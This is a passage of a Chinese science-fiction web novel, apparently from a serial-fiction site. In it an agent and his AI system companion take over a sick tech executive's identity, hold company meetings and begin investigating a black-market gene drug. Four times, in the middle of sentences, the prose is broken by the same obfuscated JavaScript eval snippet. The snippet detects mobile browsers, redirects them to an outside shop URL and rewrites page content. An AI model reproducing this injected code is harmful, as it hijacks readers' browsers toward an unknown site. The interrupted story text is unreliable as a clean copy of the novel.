林琳的车停在靠外的位置,是一辆外表普通、甚至已经有点过时了的深灰色地面悬浮车,但上车后赵四发现这辆车内部干净整洁,看起来保养得相当用心。 只是车内有没任何内饰,座椅、中控、储物格……所有地方都保持着一种近乎刻板的空旷。 赵四判断,这可能不是她的常用车,或者这辆车还有其他作用。 林琳表现的很自然,她启动车辆,驾驶着车辆驶出医院,汇入第十七街区凌晨依旧川流不息的车河。 车窗外是永恒的“黑夜”,市政不会浪费能量在中城区模拟自然昼夜。 巨大的全息广告牌将变幻的彩光泼洒在潮湿的街道上,各种店铺的霓虹招牌连成一片光的洪流。 赵四从MK3000收集的资料里得知,这种“人造永夜”是大部分中城区的常态,因为悬浮在上方的浮空城遮蔽了大半天光,让自然光无法照亮下方的中城区。 位于地面的中城区,只有最外围靠近边缘的那几个街区能享受到自然光的照拂。 而其他地方,只能在特定时间和特定角度,看到一点点从浮空城边缘漏下来的、被过滤削弱过的“天光”。 中城区的人们相信能看到这种天光是好运的象征,只要看到,当天必定会有好事发生,这也算是一种中城区特有的玄学了。 林琳熟练地操控车辆变道,驶入半空中一条相对清净的高架路。 这条路直通连接上中城区航道的接驳港,因路两旁的引导光带在夜色中流动着渐变的彩光,从地下仰望宛若一道倒悬于半空的光河,被当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066884|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地人称为“光瀑悬道”。 “从光瀑悬道往下看,十七街区很漂亮吧?” 林琳开启了自动驾驶,侧过脸朝赵四笑了笑。 这笑容与她先前在医院里的所有笑容都不同,非要形容的话,此刻她眼底多了一点真实的温度。 “当年我第一次来到这里时,觉得底下的街区真像由一块块会发光的拼图组成的。”她轻声说,“那些缝隙间的虹光是图块的边缘,稍暗的楼体是主体……那时你就坐在我身边,看着窗外不说话。我想和你分享这片美丽的大拼图,又舍不得打扰你。” 她停了一下,目光落在赵四脸上。 “哥哥,”她忽然唤了一声,“那时候……你在想什么呢?” 赵四为那声意料之外的“哥哥”眸光微滞,但这并不影响他接上戏。 车窗倒影中,深蓝发色的青年微微偏过头,像是凝视窗外,又像是隔着玻璃与自己对视。 他停顿片刻才说道:“我在看这片土地。” 赵四当然不知道当年的“方复秦”或“房馥臻”说了什么,但这句话含义广泛,任人解读。 就他本人而言,他只是在观察这座街区、这座城市。 作为外来者,他对这个世界的理解尚且粗浅,却也能从喧嚣表象下,嗅到那些尖锐而沉默的矛盾。 他在看这个新世界,赞叹它的瑰丽,也注视着它的烂疮。 林琳随之望去,她显然理解到了与赵四本意相近的含义。 “市政厅当年规划时,可能觉得反正见不到自然光,干脆连统一的‘熄灯’、‘亮灯’时间都懒得规定,全凭个人和商家自己决定。” 她指了指外面,指尖敲打在玻璃窗上,“所以你看,这里的人养成了不分昼夜、随意活着的坏习惯——睡觉、工作、娱乐,什么时候做什么,全看自己的心情。 “时间在这里,好像失去了它原本的意义,只剩下现在……无穷无尽的现在。” 人造的光能照亮人们的脸,但生活在这里的人,心灵似乎也在逐渐失去光彩。 光瀑悬道不算很长,车最终停在一处僻静的停车场,周围人迹寥寥,只有地面上的指示灯在绵长地呼吸般闪烁。 前方高大的建筑上标着“第十七街区-航道接驳中心”。 “我只能送到这里了。” 车内的灯光在林琳脸上投下柔和的阴影,她伸出手,将一片方形晶片塞进了赵四的手中,然后轻轻握住赵四的手腕,动作里带着一种克制的亲昵。 “哥,”年轻的姑娘话语里满含着担忧,“我知道我劝不住你,你总是这样……一旦决定了要做的事,谁也拉不回来。” 她的声音很轻,每一个字却都咬的清楚极了。 “但是……求你,一定要保重自己的身体。”她看着他,眼睛里装满了恳求,“我、还有我们,我们大家也许无法帮你分担更多压力,可你不能把所有责任都背在自己身上。” 林琳似乎根本没想过要得到回应,说完之后就松开手,稍显仓促的转过头。 “你走吧,赛琳娜已经开好了航道权限……路上小心。” “……我会的。”赵四低声回应,“医院这边,暂时麻烦你了。” 林琳没有回应,也没有回头。 她只是按了一下什么地方,然后车门缓缓开启,赵四最后看了她一眼就下了车。 他走向接驳中心,身后传来车辆启动、悄然驶离的声音。 12. 第12章 他心悖论12 一边将林琳塞给他的认证晶片塞入口袋,赵四一边说道:【你猜这是我亲妹妹吗?】 MK3000:【我猜不是,但是我在想一件事。】 赵四:【我也在想一件事……嗯?又到了要考验默契的时候了吗?】 MK3000:【也不是不行,一起说吧。】 这种“心有灵犀”式的猜猜乐,正在逐渐变成他们之间某种固定的互动模式。 他们同时说出了答案。 赵四:【我可能有一群没有血缘的“兄弟姐妹”。】 MK3000:【你可能有一个以情感为纽带维系的无血缘“家族”。】 这次他们想到了一起。 林琳提到的“我们”,是一种下意识的阵营划分,意味着像她这样的人不止一个。 再加上那声“哥哥”,很容易让人推测,这个“阵营”很可能是一个由情感联结起来的集体。 甚至,可以再大胆一点——赛琳娜,会不会也是其中的一员? 很有可能。 走进航道接驳中心,赵四顺着指引灯向前。 走了大概数十米,转过几道弯后,他站在了一道闸门前。 感应式的闸门无需他操作,几乎是在他脚步将停的瞬间,淡蓝色的扫描光线转为柔和的绿色,厚重的闸门无声地滑开。 门后是一条笔直延伸、灯火通明的银白色圆形隧道,隧道壁在灯光的反射下,泛着冷冽而纯净的光芒。 这隧道一眼望不到尽头,仿佛通往的是另一个世界。 电子音播报道:“验证通过,专属接驳通道已开启。航道舱已准备就绪,请您稍等片刻。” 赵四在原地等待,【这条航道,和上次网约车走的好像不太一样。】 MK3000:【上次是居安新为你申请的临时私人航道,供特定企业高层车辆通行。】 赵四:【所以这次的是……?】 MK3000:【是房馥臻名下的专属航道。】 赵四在脑内轻轻吹了声口哨。 专属航道——他对“四方科技大老板”这个身份的含金量,有了更直观的体感。 没过多久,有一艘银灰色的航道仓无声滑近,舱体线条流畅如凝固的水银。 接驳舱停稳,舱门如羽翼般向上展开。 电子音再度响起:“航道舱已就位,请您登舱。” MK3000及时加载出介绍。 全密封单人型航道舱,特点是快且舒适,缺点是贵。单次私人乘坐费用,约为方复秦出诊一次所得诊费的两倍。 赵四已经大概了解过中城区的物价——从居安新那里得到的诊费,足够三个成年人在中城区舒舒服服生活半个月。 这么一算,坐这一趟确实奢侈。 MK3000补充道:【因此,大公司的重要福利之一就是‘包月班车’,因为为它们工作的大多数职员都住中城区,自费往返简直是天方夜谭。这些公司往往会在市政公共航道租赁大型航道舱,按固定频次、线路为员工提供免费通勤。】 赵四对系统的补充轻轻颔首,然后迈步走进仓内。 舱内空间不大,但足够舒适,弧形舷窗外,隧道壁的银光开始加速流动。 他在柔软的座椅上坐下,几乎感觉不到舱体启动的震动,如果不是系统展开的实时地图,他甚至没有乘坐交通工具的自觉。 地图上最初只有一道逐渐点亮的航线,随着行进,周围开始浮现其他线路,最终纵横交错,构成一个复杂而高效的立体交通网络。 没过多久,开始减速的航道舱前方出现一道厚重的闸门,门中央是四方科技那由八个嵌套方形组成的立体徽记。 闸门洞开。 赵四只感觉眼前豁然一亮,无比广阔、挑高惊人的空间映入眼帘。 这里似乎是某栋摩天大楼内部的专属交通枢纽层。 光滑如镜的黑色地板向四面八方延伸,浅金色的纹路在地板上流动闪烁。上方是穹顶高悬,纯净的虚拟蓝天下,拟自然光线柔和洒落。 数十条隧道出入口均匀分布在四周,外形五花八门的航道舱沿着无形轨道有序穿梭。 赵四乘坐的这台航道舱沿着一条被无形力场隔开的专属通道,径直驶向一扇门,门内就是通道的终点,一个圆滚滚的白色机器人已等候在那里。 航道舱停稳后舱门开启,小机器人的显示屏出现了一个代表着喜悦的颜文字。 “房先生,欢迎回来~赛琳娜秘书长已在办公室等您啦,请随我来!” 机器人灵活地在前方引路,将赵四带至一部低调的深色金属电梯前。 这部电梯内部空间宽敞,墙但是它没有任何按钮,只在顶部有一小块显示屏。 “目的地:顶层执行办公区。”机器人用欢快的电子音说道,“电梯直达哦,请您站稳扶好~” 电梯平稳上升,速度快得惊人却毫无颠簸感,几秒后,门再次打开时,出现在赵四面前的是一条宽敞的走廊。 走廊一侧是大块大块的落地窗,大概是高度问题,从里往外看,甚至能在走廊上看到缓缓流动的云层与初生的朝阳。 踏上深灰色的地毯,顺着这条仿佛让人行走在云间的走廊向前走,一扇厚重的门扉静默的伫立在尽头。 他们到了。 MK3000:【准备好了吗,赵四专员?】 赵四笑了一声。 【小看我?】 他步伐从容的走上前,这扇厚重的大门轻巧的为他打开,门内的一切自然而然的映入眼中。 这是一间极其宽敞的办公室。 室内陈设简约而富有设计感,内部空间划分为了会客区、休闲区和办公区。 赵四不动声色的观察了一下环境,确认这里是有人经常使用的。 只不过此刻办公室里空无一人,据说在等他的赛琳娜并没有出现。 小机器人那并没有什么多余的提示,它安静地滑到角落待机,好像已经默认了“房馥臻”应该知道接下来的所有安排。 赵四挑了挑眉,以防万一的嘱咐MK3000做了个全局扫描后,他摸了摸小机器人的头顶,让系统能更顺畅的潜入进四方科技的内网后,就干脆坐到了休息区那张看起来就很舒服的小沙发上,安静等待后续发展。 果然没让他等太久,大约只过了两分钟,办公室的门就再次开启——但进来的人不是赛琳娜。 一位看起来二十出头,身着浅灰色制服、戴着细框眼镜的年轻女性快步走了进来,她身后还跟着三名穿着白大褂、推着精密仪器设备的医疗人员。 “房先生,”年轻女性微微躬身,语气恭敬却带着一丝不赞同,“很抱歉打扰您。赛琳娜秘书长临时有个紧急会议,让我先带医疗团队过来为您做今天的‘例行维护’。另外,”她看向赵四的目光里透着担忧,“您昨天又没按时服药,这对您的身体非常不利。” 赵四注意到她胸前的名牌上写着“生活助理-苏珊”。 没等他回应,医疗人员已经动作娴熟地开始工作。 他们请他坐上一张特制座椅,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066885|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪器仔细扫描他的面部与颅骨,采集血液和皮肤样本进行快速分析。 随后,他们开始在他脸上涂抹一种冰凉的特殊凝胶,使用仪器开始进行极其精细的皮下调整。 整个过程,赵四配合地保持沉默,内心却与MK3000飞快交流。 【我是不是马上就能在镜子里看见房馥臻那张脸了?】 【是的。】MK3000对整个过程进行了录像,方便之后赵四想以第三视角回顾,也方便它后续进行一些更细致的数据比对,【现在他们正在进行的是皮下组织微调和表皮光学特性校准……哦,检测到特殊生物材料的剥离与置换,你的脸正在变成,不,应该说是正在恢复成房馥臻的样子。】 看来房馥臻的脸就是这张身份卡的原貌了,在纯科技世界观下的世界,这技术已堪称是鬼斧神工。 系统认同:【这项技术层级很高,且能规避大多数常规检测手段,非常适合长期深度伪装。】 就是不知道是否存在某种代价或限制,倘若副作用可忽略不计,其背后的价值将难以估量。 赵四仅稍作推想,便已在脑中勾勒出这项技术从应用到滥用的完整路径。 MK3000听着他兴致勃勃的“法外狂徒畅想”,有点无语,重复了一下第一天落地时发出的警告。 【请注意,系统日志正在记录我们的言行。】 赵四给自己打补丁:【我就想想而已,并没有真的打算做什么。】 MK3000可疑地沉默了一会才说道:【……你最好是。】 赵四转移话题:【三儿啊,麻烦你去查查,看看这项技术在新世界是否公开?】 虽然有点怀疑专员的道德底线,但是MK3000不至于抓住还没发生的事不放。 它麻溜的干活去了,很快,这个问题就有了结果。 【这不是一项公开的技术。】MK3000说道:【或者说,它自研发完成后便如隐形一般,唯一正式的使用者只有房馥臻本人,且他并无将其商业化变现的意图。】 赵四:【这样啊……】他沉思片刻后说道:【研发人员名单能查到吗?】 MK3000:【这是个“秘密”,四方科技内部并没有相关记录。】 赵四:【开始应用的时间呢?】 MK3000:【同样未知。】 赵四靠在椅背上,感受着仪器在脸侧极轻的嗡鸣。 这项技术里能深挖的点不少,研发人员不详,应用时间成谜,连四方科技内部都没有记录,简直像个被精心抹去痕迹的“幽灵项目”。 正思忖间,这场所谓的“日常维护”已接近尾声。 苏珊端着一个托盘走近,上面放着一杯水和一只小巧的密封药盒。 “房先生,这是您今天的药。”她的语气温和但坚持,“请务必按时服用。” 药盒里是几颗颜色各异的小药片,赵四面不改色地接过水杯乖乖吃药,药片没什么苦味,咽下去后嘴里只剩下了一种很奇特的冰凉感。 【有点像薄荷糖。】他在脑内点评,【希望所有药都能按这个口味标准来。】 MK3000同步给自己塞了段薄荷味的数据零食吃,体现在操作间内,就是小操作间里的小章鱼用触手卷起一颗超大薄荷软糖塞进嘴里,它嚼得津津有味,并同样评价:【挺好吃。】 服药后,医疗团队又进行了一轮快速扫描,确认数据稳定后才恭敬退场。 苏珊正要说什么,办公室的门再次被推开。 这次进来的是赛琳娜。 13. 第13章 他心悖论13 她朝苏珊点了点头,苏珊像是接收到了什么信号,朝赵四笑了一下,便从房间内一道与背景几乎融为一体的暗门离开了。 赛琳娜穿着一身剪裁精良的珍珠灰套装,脚下踩着高度适宜的高跟鞋,她妆容精致,神态从容——总之是很符合大部分人对精英职场女性刻板印象的形象。 “房先生,”她微微向他颔首,“抱歉让您久等了,紧急事务已处理完毕。”她的目光扫过苏珊和医疗团队离开的方向,又落回赵四脸上,“‘维护’完成了?” 赵四给了她一个肯定的回应。 “很好。”赛琳娜点开了个人终端,操作了两下。 那扇暗门再次打开,苏珊推着一辆餐车走了进来。 “既然最要紧的事已经完成了,那就先吃早餐吧。” 苏珊一边布餐,一边貌似不经意地问,“哥哥在林琳姐那里待了好几天,肯定忙坏了所以才忘了吃药……您还记得上一顿饭是什么时候吃的吗?” 赵四:“……”他差点战术后仰。 坏了。 之前醒来时还觉得饿,结果一忙起来完全把吃饭这事抛在了脑后。 仔细想想,从降临到现在,他似乎根本没吃过什么正经东西。 光顾着和居安新喝酒了,话说啤酒能算代餐食物吗? MK3000陷入沉思,【不对啊,我一直监控着生理指标,如果跌到临界值,我肯定会提醒你进食。但你的饥饿值掉得非常慢,到现在也没到危险线……等等,好像刚才吃完药后,这个数值还往健康区回升了一点。】 【新妹妹的出现已经震惊不到我了。】赵四轻轻按住胃部,【我现在更想知道的是——我已经超过三十三个小时没进食了,除了中间隐约感觉到一次饿,健康值几乎没掉。这正常吗?】 说实话,不太正常。 这个角度来看,这个身份卡意外的耐造。 这算什么,有病,但很难被饿死? 不,赵四更倾向于这点异常也和身份卡未知的身体缺陷有关。 见赵四完全回答不上来苏珊的问题,赛琳娜推了推眼镜,“您对自己身体的态度真是一如既往的糟糕,我说过的吧,假如您再出现诸如‘忙起来忘了吃饭’、‘一不小心忘记带药了’这样的情况……” 赵四看看面前丰盛的早餐,再看看赛琳娜。 他没说话,苏珊在赛琳娜身后疯狂打手势。 赛琳娜皱皱眉,若有所觉的回头看苏珊,苏珊把手背在身后,一本正经的看着赛琳娜。 两个人对视了片刻,苏珊先破了功,她清了清嗓子:“哥哥刚回来,就……先吃饭吧?” 赛琳娜:“……” 苏珊:“辛苦的哥哥、操碎了心的哥哥、这个家里最重要的哥哥——” 赛琳娜回头看赵四,赵四领悟到了苏珊的意思,他配合的软化了神色,露出带了点可怜的表情。 MK3000:【冷脸装可怜吗?好怪。】 赵四:【谁让我可爱的首席行政助理吃这一套呢。】 MK3000发了个恶心心的表情包。 事实证明苏珊是对的。 赛琳娜轻咳一声,再开口时语气已缓和不少:“……下不为例。现在,请先用早餐吧。” 赵四夹起一枚形似蒸饺的点心,终于开始享用这顿迟来的早餐。 进食时他暗自评估了一下——味觉正常,口感细腻,没有出现任何预料之外的“惊喜”。 看来这具身体至少在味蕾方面还算靠谱,而且新世界的饭味道也算正常。 他安静地吃完这顿水准不错的早餐,赛琳娜和苏珊在办公区忙碌,而赛琳娜和苏珊早已在办公区忙碌起来。 MK3000扫了一眼,回来汇报:【文件堆得像小山,你吃完这顿,就得无缝衔接开始打工了。】 正在喝汤的赵四差点呛住。 饭后,苏珊利落地收走餐具,推车离去。 赛琳娜则站在办公桌旁,朝赵四微微抬手:“那么我们也开始今天的工作吧,这边有几项紧急事务需要您亲自决断。” 接下来的几个小时,赵四切身感受了一回“集团总裁”的日常节奏。 赵四虽然在别的任务世界积累过管理经验,但他真正擅长的并非这种规模型集团运营。 换句话说,这些事他能处理得不错,但过程实在痛苦。 就在他对着又一份市场扩张方案感到头皮发麻时,MK3000忽然传来提示:【已破解个人终端的隐藏管理界面,检测到可视化模块。】 赵四眉梢微挑,趁赛琳娜出去拿资料的间隙,他点开了那个新出现的界面,一片幽蓝色的全息投影在他面前缓缓铺开。 数据流以流畅的实时动态图形式呈现,集团实时营收像呼吸般平稳起伏,各分区产能负荷如脉络清晰延伸,核心项目节点有序排列,几条隐秘的跨区情报线则在深处泛着温润的微光。 所有关键信息都安放在最舒适的位置,等待“房馥臻”的检阅。 赵四的手指在虚空中轻轻划过,目光落在那片庞大网络边缘几个光点上。 它们静静闪烁在恰好标注着“十七街区宠物医院”的坐标上,一点都不起眼。 他靠向椅背,目光从细微处收回,落在投影中央那个不断跳动的立体徽记上。 四方科技的徽记此刻正随着数据刷新缓缓旋转。 【三儿,】赵四在脑内说,【这简直像在玩全息版的经营模拟游戏。】 MK3000:【但这些都是真实的。】 赵四当然知道,他现在划过的每一条数据线,背后都牵连着实际的人与资源。 “房馥臻”当年看着这套界面时,是不是也曾觉得这一切像场太过庞大的游戏? 只是有关于现实的游戏,从来都不会轻松。 就在他准备关闭界面时,余光瞥见了侧栏一个分类标签——“家人”。 点开后,里面是三十九个联系人节点,错综复杂的关系线彼此联结,高亮的标记线条横跨整个界面,最终铺展成一张静默而紧密的蛛网。 赵四指尖在投影边缘停顿片刻,最终什么也没做,关掉了界面。 接下来几天,日子过得近乎平缓。 赵四按部就班地开会、签批、听汇报,偶尔在会议的间隙看着窗外的日升月落出神。 有一瞬间他甚至觉得,房馥臻或许真是个普普通通、只是暗地里点了个“病弱”属性的总裁罢了。 当然,这错觉很快就会被成山的文件和连轴转的日程打碎。 他终于在某个深夜加班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066886|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时没忍住,对着面前三份还没看的文件吐槽:【房馥臻是不是有毛病?忙成这狗样,居然还有闲心跑去中城区开宠物医院当兽医!?】 MK3000声音里透着一股加班过度后的麻木:【不管他怎么想的,反正现在接手身份,然后忙的像个陀螺的人是你。】他停了一下,有点沧桑的说,【哦,还有我。】 MK3000最近和赵四同步忙成了狗,虽说赵四有丰富的任务经验,但指望一个“空降”大老板在完全不了解内情的情况下,全靠自己就能不出错地处理所有集团公务,还是太超过了。 所以它得帮赵四梳理四方科技上上下下所有细务——从财报数据到人事暗流,从项目风险到各方博弈,甚至还得提前做出十个八个、乃至上百个应急预案,防止赵四哪一步没踩稳,直接把四方科技这艘大船给玩脱了。 即便算力上完全支撑得住(甚至还有很多剩余),但MK3000又不是什么毫无感觉的超级AI,接连不断的高强度加班也会让它压力爆表的好吗! ……这份工作的重量,无论对人还是对系统而言,都过于沉重了。 赵四又听见了MK3000那边传来的、细微的“咔嚓”声,那是类似吃糖的动静。 这几天他才知道,原来MK3000最近在戒电子烟,压力一大,它对虚拟戒烟糖的需求量就直线上升。 赵四倒是没有烟瘾这种东西,但是他感同身受地叹了口气。 MK3000:【别叹气了,刚好,我把房馥臻的医疗档案调出来了,来看看吧。】 凭借赵四现在的权限,调取“自己”的档案自然没问题。 MK3000延迟了几天才拿出来,主要是为了确保不在那层层加密的后台系统里留下任何查看痕迹。 赵四打起精神,翻开了这份电子档案,医疗记录揭开了这张身份卡身体上的根本问题。 房馥臻罹患的是一种病因不明、且及其罕见的进行性基因链崩溃症,它就像一场无声的雪崩,会从基因层面开始将一个人缓慢瓦解。 即便以四方科技的顶尖生物科技,目前也只能依靠一套极其复杂的综合疗法来强行延缓崩溃的进程——整个发病过程无法阻断,更无法逆转。 也就是说,房馥臻得的是以现今医疗水平也无法治愈的绝症。 讽刺的是,在倾尽资源与不治之症搏斗的漫长过程中,四方科技将基因缓释药剂技术推到了前所未有的高度。 这类原本用于治疗义体排异和常规基因病的药剂,如今已成为行业隐秘的标杆,甚至反过来成了集团的一张隐形王牌。 梳理完这一切,赵四靠在椅背上,沉默地思考着。 难道任务提示里“找到你的真心和爱人”,就是给自己治病,活下去后再谈场恋爱? 【我觉得不对。】过了好一会,他才跟MK3000说道,【如果房馥臻只是想治病,那四方科技已经是他的最优选了。他完全没必要那么辛苦,特意改头换面去打第二份工。】 说真的,他只需要坐在这个办公室里,狠狠鞭策四方科技加快研究不就行了,何必大费周章地把自己变成“方复秦”? 方复秦存在的意义到底是什么? 就在赵四思索的时候,一封加密邮件悄无声息地滑入赵四的终端。 14. 第14章 他心悖论14 发信人:【多里安】 标题:【诊所异动】 时间:【182年7月10日,晚上10:11】 【哥,下城区又出现了新批次的“货”,已取样送至林琳姐。但药剂流出地“蝰蛇诊所”动向出现异常,追查时研究所背后支持方的线索指向了四方科技,最新情报详见附件。】 赵四没有回复——MK3000已经查过记录,类似的邮件,房馥臻从未回复过。 他手指在桌面上轻轻叩了叩,MK3000默契地同步展开了另一份文件,那是赛琳娜在今天下午提交的《劣化版基因缓释药剂地下流通季度报告》。 【多里安邮件里说的“货”,就是这个劣化版的基因缓释药剂?】 MK3000:【是的。】 这份赛琳娜报告里附带的数据图表触目惊心:下城区受影响最严重,疑似流通覆盖率超过40%;中城区约为15%;上城区……几乎为零。 在报告末尾的备注栏里,几行小字意味深长地提到,共治议会某些派系对此事态度暧昧,甚至有意借此敲打“近期某些科技企业过于激进的商业手段”,疑似为黑诊所及其背后的未知靠山提供了某种程度的“便利”。 在四方科技这几天,已经足够赵四看清“共治议会”到底是什么。 新世界的四十个街区由各街区市政厅管理,而市政厅直属城区共治议会管辖——简单说,这就是最高级别的官方管理机构。 那么“共治”又体现在哪里呢?体现在组成议会的议员们身上。 议员五年一换届,表面看对候选人要求宽松,仿佛谁都能去坐坐那席位。 但实际情况是,没有海量的金钱与人脉开路,想迈进议会大门纯属痴人说梦。 赵四看完文件,问MK3000:【四方科技在议会的人多吗?】 MK3000:【明面上不少,大约占五分之一席位。以维克多·K·阿尔瓦雷斯议员为首,这个团体是我们在议会最坚定的盟友兼喉舌。而维克多本人则有32%的竞选资金来自我们旗下基金会……顺带一提,他也是你弟弟。】 房馥臻的弟弟妹妹们还真是多处开花,那议会的那个属于“家人”的亮点,对应的就是维克多了。 赵四:【既然你只说了明面上,也就是说四方科技在议会还有暗牌?】 MK3000:【确实有,但你也知道,政客的真心和华丽的塑料等价——那些人大部分都是塑料关系,真遇上事还得具体情况具体分析。】 办公室的门被敲响。 赛琳娜走了进来,时间已经很晚了,但是她的步伐依旧利落,脸上毫无疲惫之色。 “房先生,下个月集团牵头在下城区的公益义诊活动,所有人员和物资已经调度完毕。”她按了下自己的手环,将一份日程概要投影在空中,“维克多那边也确认了,他会在议会同期推动《基层医疗援助法案》的修正案,为我们造势。” 她的目光与赵四有一瞬的交汇,平静之下藏着只有知情者才懂的深意。 义诊、宠物医院的掩护身份、多里安传来的黑诊所情报……这些看似零散的线索在赵四脑中瞬间串联,撞出清晰的火花。 他明白了。 这场声势浩大的义诊,不仅是为维克多铺路的政治表演,更是为“房馥臻”下一步行动精心准备的烟雾弹——房馥臻原定的计划是要亲自去探探那个地下诊所! 很冒险,但“房馥臻”既然决定走出这一步,就说明赌桌对面的筹码,重到足以让他押上这样的风险。 赛琳娜此刻的通报,与其说是汇报,不如说是一种无声地确认。 “方复秦,”赵四说出这个名字,“他所在的医院本来就在义诊名单上。我会用这个身份跟队下去,趁义诊的时候,抽身去那家诊所看看。” 他顿了顿,目光与赛琳娜相接:“这件事你知道就行,只是留个后手,不用额外安排。万一我那边遇到什么状况,至少有人清楚我的去向。” 赛琳娜沉默片刻,最终点了点头,声音比刚才更轻:“我明白了,义诊期间,我和苏珊会处理好这边的事……请您务必谨慎行动。” 赵四看着她眼底那抹无法完全掩饰的忧虑,安抚性地笑了笑。 无需再多言。 既然“房馥臻”早已写好了剧本,那么“方复秦”自然要准时赴约,去演好属于自己的那场戏。 只有真正踏入那个剧本预设的场景,走过那条被安排好的路,接手了这张身份卡的赵四才能看清这场看似冒险的棋局背后,“房馥臻”究竟押上了什么,又想从阴影中拿回什么。 义诊前一天,赵四重新切换回“方复秦”的身份,回到了新世界第十七宠物医院。 推开院长室的门,一切如旧。 空气里飘着医院特有的、淡淡的消毒水气味,桌面纤尘不染,连那盆据说昂贵又难搞的绿植都叶片舒展、绿意盎然,仿佛他从未离开。 这过于完美的“原状”让赵四忽然想起一件事。 虽说从《霸道院长狠狠爱:可爱小狗哪里逃》那本说不上来靠不靠谱的同人文里来看,医院日常事务似乎由副院长们把持,但MK3000最初就提过:院长办公室的电脑里存有“多份决策性文件”。 这说明房馥臻扮演的方复秦对医院的掌控力并不弱,且确实在履行职责。 那么问题来了,这段时间他扎在四方科技忙得昏天黑地,医院这边源源不断的待批文件,究竟是谁处理的? MK3000吐出了一个陌生的名字:【是王发财。】 赵四一愣:【等等,这是谁?】 就是赵四来的第一天,那位把自己折腾进急救室的王副院长的……儿子。 赵四:【养子?】 MK3000:【没错,他也在您的“家人”通讯录里。】 赵四回忆了一下那份长名单,通讯录里并没有“王发财”这个接地气的名字。 而存在于医院的“家人”光点又有好几个……于是他虚心求问:【是哪一位?】 MK3000:【叫“康斯坦丁·冯·海因里希·维特尔斯巴赫”的那个。】 ……这反差也太大了吧! 赵四摇摇头,在电脑前坐下,调阅近期的文件流转记录。 屏幕上的信息清晰有序,所有待处理事项都被细心分类、标注优先级,甚至附上了简洁的处理建议与背景摘要,最终才汇总至这台终端,等待“院长”的最终审阅或象征性确认。 看着这套高效的流程,赵四在脑内感叹:【我现在总算明白,为什么“方复秦”明面上会是个游手好闲的无实权院长了。】 MK3000:【因为这样做,“方复秦”的大块可支配时间会更多,也更自然?】 赵四:【没错,最初我们以为他是把副院长们推到台前,自己隐于幕后的操控者。现在嘛……】 现在情报补充了一部分,所以他们看得更清楚了。 房馥臻真正信任的、替他扛起两边日常运作的,是那些悄然安插在各处的“家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066887|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人”们。 想起苏珊和赛琳娜在四方科技总部替他处理成堆公务的身影,赵四不禁感慨。 【三儿,小说里那种又有钱又有闲、还能天天谈恋爱的霸道总裁,根本不存在。 总裁也好,院长也罢,但凡手握权柄的角色,如果事业风生水起的同时还能有空搞“副业”,绝不是因为他们有什么时间管理魔法……】 MK3000默契接话:【而是因为活儿根本不止他一个人在干。】 赵四:【完全正确。要么彻底当个名誉掌权者,要么就把权力和责任下放给自己真正信任的人。否则,】他顿了顿,【既想紧握实权,又贪图个人清闲的结果就是……】 想到那位在感情与事业间疲于奔命、把自己弄得狼狈不堪的居大总裁,赵四无声地笑了笑。 把自己搞得像个生动的反面教材啊,居安新。 下午的时候,赵四去了趟治疗观察室。 小黑狗被照料的不错,它又长大了一点,还覆着一层蓝膜的眼睛已经能勉强睁开,正懵懂地贴着舱壁挪动。 他伸手轻轻点了点玻璃,小狗湿漉漉的鼻尖立刻凑了过来,隔着玻璃蹭了蹭他的手指。 “它的情况很好。” 赵四身后传来平静的女声,他回头,看见林琳拿着电子记录板站在门口。 “原本负责的同事这几天请假,”她走进来,语气如常,仿佛只是随口解释,“我和护士长关系不错,就过来搭把手。” 她一边说,一边熟练地检查着舱体数据,在记录板上勾画,姿态专业而自然。 完成例行记录后,她将一个细长的小盒子若无其事地交给了赵四。 “这是之前一位老客户留的东西,前台说看见您往这边来了,我顺路,就带过来了。” 赵四面不改色地接过,点了点头:“好,辛苦了。” 林琳微微颔首,没再多话,转身离开得干脆利落,仿佛只是完成了一次再普通不过的工作交接。 回到办公室锁好门,赵四打开那个不起眼的小盒子。 